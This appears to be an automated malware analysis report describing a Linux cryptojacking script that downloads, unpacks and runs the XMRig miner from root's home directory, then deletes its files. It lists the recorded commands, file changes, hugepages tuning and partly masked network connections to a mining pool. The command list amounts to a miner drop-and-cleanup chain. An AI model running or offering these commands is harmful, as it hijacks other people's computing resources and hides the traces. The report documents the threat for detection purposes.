Technical Information
Malicious functions:
Launches itself as a daemon
Launches processes:
- chmod +x k4yn.sh
- /bin/sh k4yn.sh
- wget https://github.com/xmrig/xmrig/releases/download/v6.16.3/xmrig-6.16.3-linux-static-x64.tar.gz
- tar -zvxf xmrig-6.16.3-linux-static-x64.tar.gz
- gzip -d
- mv config.json xmrig-6.16.3
- rm xmrig-6.16.3-linux-static-x64.tar.gz
- ./xmrig
- rm -R xmrig-6.16.3
- rm k4ynv2
Performs operations with the file system:
Modifies file access rights:
- /root/k4yn.sh
- /root/xmrig-6.16.3/config.json
- /root/xmrig-6.16.3/xmrig
- /root/xmrig-6.16.3/SHA256SUMS
- /root/xmrig-6.16.3
Creates folders:
- /root/xmrig-6.16.3
Creates or modifies files:
- /root/config.json
- /root/k4yn.sh
- /root/xmrig-6.16.3-linux-static-x64.tar.gz
- /root/xmrig-6.16.3/config.json
- /root/xmrig-6.16.3/xmrig
- /root/xmrig-6.16.3/SHA256SUMS
- /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
Deletes files:
- /root/xmrig-6.16.3-linux-static-x64.tar.gz
- /root/xmrig
- /root/SHA256SUMS
- /root/config.json
- /root/k4ynv2
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 14#.##.121.3:443
- 18#.##9.109.133:0
- 18#.##9.110.133:0
- 18#.##9.111.133:0
- 18#.##9.108.133:0
- 18#.##9.109.133:443
- 51.##.21.186:443
DNS ASK:
- gi##ub.com
- ob#####.#ithubusercontent.com
- po##.#inexmr.com
Sends data to the following servers:
- 14#.##.121.3:443
- 18#.##9.109.133:443
- 51.##.21.186:443
Receives data from the following servers:
- 14#.##.121.3:443
- 18#.##9.109.133:443
- 51.##.21.186:443
Other:
Collects CPU information
Collects RAM information